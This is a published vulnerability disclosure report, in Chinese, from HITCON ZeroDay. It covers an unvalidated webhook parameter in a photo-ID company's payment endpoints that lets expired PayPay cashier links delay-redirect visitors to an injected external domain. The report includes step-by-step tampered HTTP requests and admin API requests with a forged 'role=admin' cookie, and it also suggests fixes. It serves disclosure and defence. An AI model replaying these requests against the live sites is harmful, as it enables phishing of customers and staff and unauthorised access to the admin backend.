株式会社喜喜 日本站特定付款方式可被注入外部網域,導致第三方付款連結產生 Delayed Redirect 與 Phishing Risk - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00966
  •  發信 Vendor: 誠和國際股份有限公司, 悟空科技股份有限公司, 株式会社喜喜
  • Title: 株式会社喜喜 日本站特定付款方式可被注入外部網域,導致第三方付款連結產生 Delayed Redirect 與 Phishing Risk
  • Introduction: 修改日本站特定付款方式之特定參數,可在第三方付款網址過期後導向外部網站,造成 Delayed Redirect 與 Phishing Risk。

處理狀態

目前狀態

公開
Last Update : 2026/09/27
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/07/28 10:27:16 : 新提交 (由 更新此狀態)
  • 2026/07/28 11:19:55 : 新提交 (由 更新此狀態)
  • 2026/07/28 12:06:46 : 新提交 (由 更新此狀態)
  • 2026/07/28 14:09:44 : 新提交 (由 更新此狀態)
  • 2026/08/03 16:11:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:03:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:03:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 19:03:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/09/27 03:00:26 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00966
  • 通報者:S_Cyrus ()
  • 風險:高
  • 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)

參考資料

攻擊者可利用該漏洞將受害者導向至惡意網站。

OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards

Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://diyidphoto.com/api/pay-ja
https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>
https://helper.diyidphoto.com/api/order/<OrderID>/payment

敘述

0. 摘要(Summary)

在正常情況下,日本站 https://jp.diyidphoto.com/ 進行付款流程時,POST /api/pay-ja 的參數 webhook 會指向日本站內網址 https://jp.diyidphoto.com/takePhoto。

但測試時發現:

  1. 將參數 webhook 的值改成任意外部網域(例如 https://google.com)後,後端仍回傳有效的 PayPay cashier URL:
{
  "error_code": 0,
  "error_text": "",
  "data": {
    "final": "",
    "formal": "",
    "formal_711": "",
    "Redirect": true,
    "PayURL": "<PayPay_Cashier_URL>",
    "OrderID": "<PayPay_OrderID>",
    "OrderTime": "0001-01-01T00:00:00Z",
    "PhotoType": 0,
    "DPI": 0,
    "share_code": ""
  }
}
  1. 而瀏覽器開啟 PayPay cashier URL 連結後,PayPay 網站會請求 PayPay cashier QR code(GET /app/v1/paylite-paycode/qr_code/fetch?code=https%3A%2F%2Fqr.paypay.ne.jp...),而在此請求的 Response 中可見參數 redirectUrl 被注入了該外部網域。

  2. 當 PayPay cashier URL(https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>)過期後,任何取得該連結的使用者再次開啟連結,頁面會先短暫停留在 PayPay 網站,接著導向先前注入的外部網域。

上述漏洞的完整流程如下:

攻擊者修改 webhook 參數
→ 後端接受外部 URL
→ 後端產生 PayPay 付款連結
→ 外部 URL 被寫入 redirectUrl
→ 付款連結過期
→ 使用者被重新導向外部網站

因此:

  1. 攻擊者可依此流程建立一個 PayPay 官方網域付款連結,待其過期後傳送給其他使用者、網站客服或網站後台管理人員;而點擊者若持續停留於頁面中,就會被導向攻擊者注入之外部網域,進而產生社交工程與釣魚風險。

  2. 串聯台灣站與日本站付款流程綁定不足漏洞,可將此流程建立的 PayPay cashier URL 放入 webhook 參數中,後台管理人員在查看特定訂單資料或異常交易紀錄時,若開啟該連結並持續停留於頁面中,就會被導向外部網域。

由於問題本身在 https://jp.diyidphoto.com/ 之付款流程端點允許參數 webhook 被注入任意外部網域,導致後續付款連結過期後發生的延遲重新導向(Delayed Redirect),因此不判定為第三方付款平台 PayPay 之漏洞。


1. 受影響功能(Affected Feature)

  • 日本站 https://jp.diyidphoto.com/ 付款流程端點

    • POST /api/pay-ja
  • 第三方付款平台 PayPay cashier URL:

  https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>
  • 後台管理頁面 helper.diyidphoto.com 的支付細節端點

    • GET /api/order/<OrderID>/payment

2. 漏洞驗證之前置條件(Preconditions for Verification)


3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)

以下重現步驟皆使用 Burp Suite 作為工具。

以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。


步驟 1:建立一筆日本站訂單並攔截 PayPay 付款流程的請求

  1. 在 Burp Suite 的瀏覽器連上日本站 https://jp.diyidphoto.com/ 上傳測試圖片,並一路進行到選擇付款方式的頁面;お支払い方法 選擇 paypay 並填妥相關資料。

但在點擊次へ前,先到 Burp Suite 的 Proxy 頁籤中的 Intercept,點擊 Intercept off 按鈕使其變成 Intercept on,以便攔截請求。

  1. 點擊次へ後,可見攔截 POST /api/pay-ja 請求如以下:
POST /api/pay-ja HTTP/2
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "method": "paypay",
  "token": "<UUID>",
  "prime": "paypay",
  "email": "<Email>",
  "order_id": "<OrderID>",
  "phone": "",
  "passport_name": "<Name>",
  "photo_name": "<Photo_Name>",
  "photo_kind": <Photo_Kind>,
  "webhook": "https://jp.diyidphoto.com/takePhoto",
  "three_domain_secure": false,
  "user_agent": "<User_Agent>"
}

此時 webhook 指向日本站內 URL,屬於正常流程。

圖片


步驟 2:將 webhook 改成外部網域

  1. 攔截請求後,將參數 webhook 從 https://jp.diyidphoto.com/takePhoto 改成任意外部網域,在此以 https://google.com 為例。

另外,如有需要可刪除參數 passport_name 與 photo_name,以避免送請求時漢字變成亂碼而導致錯誤(若 passport_name 使用英文名字,則無需刪除)

修改後整體請求應如以下:

POST /api/pay-ja HTTP/2
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "method": "paypay",
  "token": "<UUID>",
  "prime": "paypay",
  "email": "<Email>",
  "order_id": "<OrderID>",
  "phone": "",
  "passport_name": "<Name>",
  "photo_name": "<Photo_Name>",
  "photo_kind": <Photo_Kind>,
  "webhook": "https://google.com",
  "three_domain_secure": false,
  "user_agent": "<User_Agent>"
}

圖片


步驟 3:送出修改後的 /api/pay-ja 請求

  1. 按下 Forward 按鈕以送出修改後的請求,然後點擊 Intercept on 使其變成 Intercept off,不再攔截請求。

此時瀏覽器會自然開始跳轉 PayPay 付款頁面。

而從 Burp Suite 的 Proxy 頁籤中的 HTTP history 查看修改後的 POST /api/pay-ja 請求,可發現後端沒有拒絕外部網域注入到參數 webhook 中,並回傳:

{
  "error_code": 0,
  "error_text": "",
  "data": {
    "final": "",
    "formal": "",
    "formal_711": "",
    "Redirect": true,
    "PayURL": "<PayPay_Cashier_URL>",
    "OrderID": "<PayPay_OrderID>",
    "OrderTime": "0001-01-01T00:00:00Z",
    "PhotoType": 0,
    "DPI": 0,
    "share_code": ""
  }
}

查看瀏覽器跳轉的 PayPay 付款頁面的網址,會發現其與 <PayPay_Cashier_URL>(PayPay cashier URL)相同。

圖片


步驟 4:查看 PayPay cashier QR code 請求

  1. 在 Burp Suite 的 HTTP history,可見其中有個請求如以下:
GET /app/v1/paylite-paycode/qr_code/fetch?code=https%3A%2F%2Fqr.paypay.ne.jp...
Host: www.paypay.ne.jp

其 Response 如以下:

{
  "qr_type": "<Qr_Type>",
  "code": "<Code>",
  "params": null,
  "merchant_info": {
    "merchant_id": "<Merchant_Id>",
    "store_id": null,
    "sticker_id": null,
    "merchant_name": "<Merchant_Name>",
    "merchant_logo": null
  },
  "user_info": null,
  "meta": null,
  "dynamic_qr_data": {
    "merchantOrderId": "<Merchant_Order_Id>",
    "amount": {
      "amount": "<Amount>",
      "currency": "<Currency>"
    },
    "requestId": "<Request_Id>",
    "orderDescription": null,
    "orderItems": [
      {
        "name": "<Name>",
        "category": null,
        "quantity": "<Quantity>",
        "productId": "<Product_id>",
        "unitPrice": null
      }
    ],
    "metadata": null,
    "qrCodeType": "<Qr_Code_Type>",
    "requestedAt": null,
    "qrCodeId": "<Qr_Code_Id>",
    "url": "<Url>",
    "expiryDate": "<Expiry_Date>",
    "merchantId": "<Merchant_Id>",
    "storeId": null,
    "storeInfo": null,
    "terminalId": null,
    "redirectUrl": "<Redirect_Url>",
    "redirectType": "<Redirect_Type>",
    "merchantName": "<Merchant_Name>",
    "merchantLogoUrl": null,
    "userAgent": "<User_Agent>",
    "isAuthorization": false,
    "productType": null,
    "serviceType": null,
    "paymentMethod": null
  },
  "deeplink_qr_data": null,
  "topup_qr_data": null,
  "account_link_qr_data": null,
  "alipay_account_link_qr_data": null,
  "amazon_account_link_qr_data": null,
  "apple_account_link_qr_data": null,
  "smart_payment_qr_data": null,
  "reauth_request_qr_data": null
}

其中的 redirectUrl 會被設置為步驟 2 注入的外部網域,且被添加查詢字串(query string),例如:

"redirectUrl": "https://google.com?order_number=<Merchant_Order_Id>&pay_method=paypay&status=0"

圖片


步驟 5:等待 PayPay cashier URL 過期,並觀察其過期後行為

  1. 等待 PayPay 付款頁面(https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>)過期。

會發現過期後,網站會自動導向步驟 4 中參數 redirectUrl 所設置的外部網域,例如 https://google.com?order_number=<Merchant_Order_Id>&pay_method=paypay&status=0。

  1. 再次開啟該 PayPay 付款頁面的連結。

會發現頁面會先短暫停留約 3 秒在 PayPay 網站,接著同樣會導向步驟 4 中參數 redirectUrl 所設置的外部網域,例如 https://google.com?order_number=<Merchant_Order_Id>&pay_method=paypay&status=0。

圖片


步驟 6:登入後台管理頁面,利用支付細節(payment detail)端點,查詢交易紀錄(trade)

從低權限後台帳號可繞過 RBAC可知,後台快洗證件照(/idphoto)提供支付細節查詢功能-其端點為 GET /api/order/<OrderID>/payment-可查看特定訂單的支付細節。

  1. 瀏覽器另一個分頁開啟 https://helper.diyidphoto.com/login,並使用已建立的帳號及密碼登入。可參考未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC建立。

  2. 在 Burp Suite 的 HTTP history 中,將任一登入後台後的 Host: helper.diyidphoto.com 請求發送至 Repeater,並將其請求修改如以下:

GET /api/order/<OrderID>/payment HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

送出請求後,在 Response 可見:

{
  "error_code": 0,
  "error_text": "",
  "data": {
    "invoice": null,
    "trades": [
      {
        "ID": <Trade_ID>,
        "OrderID": "<OrderID>",
        "IdempotentKey": "<IdempotentKey>",
        "PayMethod": "paypay",
        "TradeID": "",
        "Amount": 500,
        "Status": <Status>,
        "Name": "<Name>",
        "Email": "<Email>",
        "Phone": "<Phone>",
        "RedirectURL": "<PayPay_Cashier_URL>",
        "RequestJSON": "<RequestJSON>",
        "CreatedAt": "<CreatedAt_Date_Time>",
        "UpdatedAt": "<UpdatedAt_Date_Time>"
      }
    ]
  }
}

在 trades 可發現:

  1. 參數 RedirectURL 的值為 PayPay cashier URL。
  2. 參數 RequestJSON 的值經 base64 decode 後,可發現其保存了此次付款流程的相關資訊,其參數與值皆如步驟 2。
   {
     "method": "paypay",
     "token": "<UUID>",
     "prime": "paypay",
     "email": "<Email>",
     "order_id": "<OrderID>",
     "phone": "",
     "passport_name": "<Name>",
     "photo_name": "<Photo_Name>",
     "photo_kind": <Photo_Kind>,
     "webhook": "https://google.com",
     "three_domain_secure": false,
     "user_agent": "<User_Agent>"
   }

能看見參數 webhook 保存了先前注入的外部網域,例如 https://google.com,這表示外部網域可被寫入交易紀錄作為資料保存。

圖片


步驟 7:延伸測試,將外部網域寫入其它付款流程端點之 webhook 參數

根據上述 /api/pay-ja 之行為,推測參數 webhook 的值是付款成功或失敗後導向的網站。

而以下三個付款流程端點都有攜帶 webhook 參數:

POST /api/pay-ja (使用在日本站 `https://jp.diyidphoto.com` )
POST /api/pay (使用在台灣站 `https://diyidphoto.com/zh-tw/` )
POST /api/idphoto/pay (使用在 `https://qkidphoto.goqoo.com/`,發現方式可見[低權限後台帳號可繞過 RBAC](https://zeroday.hitcon.org/vulnerability/ZD-2026-00960))

因此:

重覆步驟 1,建立一筆台灣站與 https://qkidphoto.goqoo.com/ 訂單,並攔截付款流程請求

  1. 在 Burp Suite 的瀏覽器開啟另兩個分頁,分別連上 https://diyidphoto.com/zh-tw/ 與 https://qkidphoto.goqoo.com,上傳測試圖片並一路進行到選擇付款方式的頁面;

付款方式選擇街口支付、Line Pay 等掃碼式支付方式(以避免實際付款)並填妥相關資料,在點擊確定前,先到 Burp Suite 的 Intercept,點擊 Intercept off 按鈕使其變成 Intercept on,以便攔截請求。

  1. 點擊確定後,主要須觀察攔截到的請求如下(其它請求都能按下 Forward 按鈕):

(1)台灣站 https://diyidphoto.com/zh-tw/

POST /api/pay
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "payType": "<PayType>",
  "token": "<UUID>",
  "prime": "<Prime>",
  "email": "<Email>",
  "order_id": "<OrderID>",
  "photo_type": <Photo_Type>,
  "invoice": "email",
  "carrier_phone": "",
  "carrier_natual": "",
  "tax_number": "",
  "tax_name": "",
  "donate_code": "",
  "method": "<Method>",
  "webhook": "/zh-tw/takePhoto",
  "mail": "",
  "name": "",
  "address": "",
  "phone": "<Phone>",
  "use_for_what": <Number>
}

此時 webhook 指向台灣站內 URL,屬於正常流程。

(2)https://qkidphoto.goqoo.com

POST /api/idphoto/pay
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "prime": "<Prime>",
  "order_id": "<OrderID>",
  "token": "<UUID>",
  "email": "<Email>",
  "method": "<Method>",
  "webhook": "https://qkidphoto.goqoo.com/complete?order_id=<OrderID>&token=<UUID>",
  "phone": "<Phone>",
  "invoice": "email",
  "carrier_phone": "",
  "carrier_natual": "",
  "tax_number": "",
  "tax_name": ""
}

此時 webhook 指向 https://qkidphoto.goqoo.com 站內 URL,屬於正常流程。

重覆步驟 2,將 webhook 改成外部網域

  1. 攔截到上述請求後,將參數 webhook 改成外部網域。

在此改為步驟 3 的 PayPay 付款頁面 PayPay cashier URL(https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>),修改後整體請求應如以下:

(1)台灣站 https://diyidphoto.com/zh-tw/

這裡要注意的是,注入的網址要去掉 https://,否則瀏覽器會顯示付款失敗而無法跳轉付款頁面。

POST /api/pay
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "payType": "<PayType>",
  "token": "<UUID>",
  "prime": "<Prime>",
  "email": "<Email>",
  "order_id": "<OrderID>",
  "photo_type": <Photo_Type>,
  "invoice": "email",
  "carrier_phone": "",
  "carrier_natual": "",
  "tax_number": "",
  "tax_name": "",
  "donate_code": "",
  "method": "<Method>",
  "webhook": "www.paypay.ne.jp/app/cashier?code=<Redacted_Code>",
  "mail": "",
  "name": "",
  "address": "",
  "phone": "<Phone>",
  "use_for_what": <Number>
}

(2)https://qkidphoto.goqoo.com

POST /api/idphoto/pay
Host: diyidphoto.com
Content-Type: text/plain;charset=UTF-8

{
  "prime": "<Prime>",
  "order_id": "<OrderID>",
  "token": "<UUID>",
  "email": "<Email>",
  "method": "<Method>",
  "webhook": "https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>",
  "phone": "<Phone>",
  "invoice": "email",
  "carrier_phone": "",
  "carrier_natual": "",
  "tax_number": "",
  "tax_name": ""
}
  1. 按下 Forward 按鈕以送出修改後的請求,然後點擊 Intercept on 使其變成 Intercept off,不再攔截請求。此時瀏覽器會自然開始跳轉付款頁面。

圖片

圖片

重覆步驟 6,利用後台的支付細節(payment detail)端點,查詢交易紀錄(trade)

  1. 在 Burp Suite 的 HTTP history 中,將任一登入後台後的 Host: helper.diyidphoto.com 請求發送至 Repeater。

並將台灣站與 https://qkidphoto.goqoo.com 的 OrderID 填入請求,如以下:

(1)台灣站 https://diyidphoto.com/zh-tw/

GET /api/order/<OrderID>/payment HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

送出請求後,在 Response 可見:

{
  "error_code": 0,
  "error_text": "",
  "data": {
    "invoice": null,
    "trades": [
      {
        "ID": <Trade_ID>,
        "OrderID": "<OrderID>",
        "IdempotentKey": "",
        "PayMethod": "<Method>",
        "TradeID": "<TradeID>",
        "Amount": 120,
        "Status": <Status>,
        "Name": "",
        "Email": "<Email>",
        "phone": "<Phone>",
        "RedirectURL": "<Tappaysdk_PayURL>",
        "RequestJSON": "<RequestJSON>",
        "CreatedAt": "<CreatedAt_Date_Time>",
        "UpdatedAt": "<UpdatedAt_Date_Time>"
      }
    ]
  }
}

在 trades 可發現:

  1. 參數 RedirectURL 的值不為 PayPay cashier URL,且 Tappaysdk_PayURL 不會過期跳轉,這是不同於日本站 https://jp.diyidphoto.com 其步驟 6 的結果。
  2. 參數 RequestJSON 的值經 base64 decode 後,可發現其保存了此次付款流程的相關資訊,其參數與值皆如重覆的步驟 2。
   {
     "payType": "<PayType>",
     "token": "<UUID>",
     "prime": "<Prime>",
     "email": "<Email>",
     "order_id": "<OrderID>",
     "photo_type": <Photo_Type>,
     "invoice": "email",
     "carrier_phone": "",
     "carrier_natual": "",
     "tax_number": "",
     "tax_name": "",
     "donate_code": "",
     "method": "<Method>",
     "webhook": "www.paypay.ne.jp/app/cashier?code=<Redacted_Code>",
     "mail": "",
     "name": "",
     "address": "",
     "phone": "<Phone>",
     "use_for_what": <Number>
   }

而參數 webhook 保存了先前注入的外部網域,例如 PayPay cashier URL(www.paypay.ne.jp/app/cashier?code=<Redacted_Code>),這表示外部網域可被寫入交易紀錄作為資料保存。

圖片

(2)https://qkidphoto.goqoo.com

GET /api/order/<OrderID>/payment HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=<access_token>; uid=<uid>; role=%5B%22admin%22%5D

送出請求後,在 Response 可見:

{
  "error_code": 0,
  "error_text": "",
  "data": {
    "invoice": null,
    "trades": [
      {
        "ID": <Trade_ID>,
        "OrderID": "<OrderID>",
        "IdempotentKey": "",
        "PayMethod": "<Method>",
        "TradeID": "<TradeID>",
        "Amount": 120,
        "Status": <Status>,
        "Name": "<Name>",
        "Email": "<Email>",
        "phone": "<Phone>",
        "RedirectURL": "<Tappaysdk_PayURL>",
        "RequestJSON": "<RequestJSON>",
        "CreatedAt": "<CreatedAt_Date_Time>",
        "UpdatedAt": "<UpdatedAt_Date_Time>"
      }
    ]
  }
}

在 trades 也同樣可發現:

  1. 參數 RedirectURL 的值不為 PayPay cashier URL,且 Tappaysdk_PayURL 不會過期跳轉,不同於日本站 https://jp.diyidphoto.com 其步驟 6 的結果。
  2. 參數 RequestJSON 的值經 base64 decode 後,可發現其保存了此次付款流程的相關資訊,其參數與值皆如重覆的步驟 2。
   {
     "prime": "<Prime>",
     "order_id": "<OrderID>",
     "token": "<UUID>",
     "email": "<Email>",
     "method": "<Method>",
     "webhook": "https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>",
     "phone": "<Phone>",
     "invoice": "email",
     "carrier_phone": "",
     "carrier_natual": "",
     "tax_number": "",
     "tax_name": ""
   }

而參數 webhook 保存了先前注入的外部網域,例如 PayPay cashier URL(https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>),這表示外部網域可被寫入交易紀錄作為資料保存。

圖片

經上述之測試,可發現:

  1. 三個付款流程端點的參數 webhook 全都可以注入 PayPay cashier URL(https://www.paypay.ne.jp/app/cashier?code=<Redacted_Code>)。
  2. 參數 RequestJSON 會保存被污染後的 webhook,這增加此漏洞的可利用性與嚴重性。

這裡值得注意的是,由於上述訂單皆沒有實際付款,公司內部應確認在付款完成/失敗的情況下,是否會跳轉被注入的外部網域。


4. 預期行為(Expected Behavior)

付款流程中的參數 webhook:

  1. 應由後端根據訂單站別與付款方式固定產生,並須經後端核對其指向可信任網域。

  2. 若被注入非預期之外部網域,後端應在付款流程進行前直接拒絕,或忽略外部傳入的值直接指向後端可信任的網域。


5. 實際行為(Actual Behavior)

  • 三個站點的付款流程端點(/api/pay-ja、/api/pay 與 /api/idphoto/pay),參數 webhook 皆可被注入外部網域。

  • 其中,日本站付款流程端點的 webhook 被注入外部網域後,會回應合規有效的 PayPay cashier URL。

    注入的外部網域會接續被帶入第三方支付平台的參數 redirectUrl 中,進一步導致 PayPay cashier URL 過期後,使用者開啟該連結會被延遲導向外部網站。

整體行為如下:

client-controlled webhook parameter
→ POST /api/pay-ja accepts the external URL
→ backend generates a PayPay cashier URL
→ external URL is assigned to redirectUrl
→ PayPay cashier URL expires
→ visitor is redirected to the external URL

6. 影響(Impact)

此問題可被用於釣魚或社交工程。

風險重點在於,攻擊者提供給其他使用者、客服或後台管理人員的初始連結會是表面上屬於 PayPay 官方網域的付款連結。

但由於 PayPay cashier URL 過期後,會將點擊者導向第三方付款平台特定路徑 Response 之參數 redirectUrl 所設定的連結,而此連結則依據 /api/pay-ja 之參數 webhook 決定;

因此一旦攻擊者可注入外部網域至 webhook,則可在 PayPay cashier URL 過期後,將點擊者導向攻擊者控制的網站。

這種 delayed redirect 可能影響包括:

  • 攻擊者可製造「PayPay cashier URL 過期後導向外部網站」的釣魚鏈,而點擊者可能會因為一開始看到 PayPay 官方網域而降低警覺;若串聯未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC,即可知網站大量用戶之真實個資,則會大幅增加釣魚 / 社交工程之風險和嚴重程度。

  • 如同前述,串聯台灣站與日本站付款流程綁定不足,由於參數 webhook 會保存在 RequestJSON 中,且 /api/pay-ja、/api/pay 與 /api/idphoto/pay 之參數 webhook 皆可注入 PayPay cashier URL;因此可透過此方式將攻擊者控制的 webhook 寫入交易紀錄中,讓客服或後台管理人員在查看特定訂單資料或異常交易紀錄時,有可能因為 webhook 表面上屬於 PayPay 官方網域而降低警覺,增加被導向外部網址的機率。


7. 可能的根本原因(Likely Root Cause)

如同台灣站與日本站付款流程綁定不足,問題可能出在付款流程端點與其相關資訊綁定不完整,或後端未在付款流程進行前再次嚴格檢查相關參數。

可能原因包括:

  1. 後端未嚴格限制 webhook 必須屬於可信任之網域,或過度信任前端傳入的值。

  2. webhook 沒有嚴格綁定站別和付款方式,導致多個付款流程端點(/api/pay-ja、/api/pay 與 /api/idphoto/pay)皆可注入外部網域。

  3. 同一訂單新增交易紀錄前,沒有完整檢查 webhook 等參數,導致可被寫入RequestJSON。


8. 嚴重性評估(Severity Assessment)

高風險(High)

理由:

  • 問題牽涉到付款成功或失敗後導向的網站,屬高敏感商業邏輯,且攻擊者可利用「合規可信 PayPay cashier URL → PayPay 頁面短暫停留 → 外部網站」降低警覺。
  • 串聯未授權使用者可匿名建立後台帳號並任意指定 role與低權限後台帳號可繞過 RBAC,可知網站大量用戶之真實個資,則可大幅增加釣魚 / 社交工程之風險和嚴重程度。
  • 串聯台灣站與日本站付款流程綁定不足,由於參數 webhook 會保存在 RequestJSON 中,且多個付款流程端點(/api/pay-ja、/api/pay 與 /api/idphoto/pay)之參數 webhook 皆可注入 PayPay cashier URL,這增加了客服與網站管理人員被導向外部網站的風險。
  • 雖然此漏洞的利用條件受到一定限制:攻擊者需依賴第三方付款平台 PayPay 產生付款連結,並等待或利用該 PayPay cashier URL 進入過期狀態。然而,也由於其初始連結使用 PayPay 官方網域,可使接收者降低警覺,進而提高釣魚或社交工程攻擊的成功機率。

由於目前 沒有實際完成付款,因此若後續確認以下任一情況成立,則實際風險可能更高:

  • 使用者在該站付款流程端點(/api/pay-ja、/api/pay 與 /api/idphoto/pay)完成付款後,是否會被導向參數 webhook 所設定的網域,導致潛在的開放重定向漏洞。
  • 同一筆訂單在付款後,是否仍能再次進行該站付款流程端點,再次進入付款流程、或再次付款。
  • 同一筆訂單在付款後,若可再次進入付款流程,是否會反映在 /api/order/<OrderID>/payment 的交易紀錄中,導致交易紀錄被污染;或增加網站管理人員被導向惡意網站的風險。
  • 同一筆訂單在付款後,若可再次付款,以相同方式用在其他使用者之訂單上,是否會造成 webhook 覆寫,擴大對其他使用者釣魚 / 社交工程之風險。

9. 補充說明(Researcher Note)

  1. 本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。

  2. 由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。

以下是三間公司之相關信箱:

誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]

修補建議

## 修補建議(Remediation Suggestions)

1. 各站付款流程端點(`/api/pay-ja`、`/api/pay` 與 `/api/idphoto/pay`)之參數 `webhook`,應嚴格綁定可信任的網域、該站站別或付款方式。
2. 後端應再次檢查付款流程端點及相關參數,若訂單站別、付款流程端點或付款方式與後端不一致,應直接拒絕進行付款流程。
3. 不應信任前端傳入的 `webhook` 等參數,並依此決定 `callback URL`。
4. 後台新增交易紀錄前應重新檢查 `webhook` 等相關參數,且應標示異常交易紀錄(例如標示 `webhook 不一致` 等),或阻擋異常交易紀錄的新增,以避免客服或後台管理人員誤信。
5. 付款成功 / 失敗 / 過期 / 取消,應回到可信任且可控制之相應頁面,避免一個 `webhook` 參數同時控制多種情況的流程。
6. 第三方平台之付款連結過期,建議導向固定頁面。例如 `PayPay cashier URL` 過期,則固定導向 `https://jp.diyidphoto.com/payment/expired` 等頁面,以避免外部竄改。
7. 修補後,應檢查其它站點-如 `https://diyidphoto.com/zh-tw/` 與 `https://qkidphoto.goqoo.com`-的所有付款方式,是否也有此類 delayed redirect 的問題。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;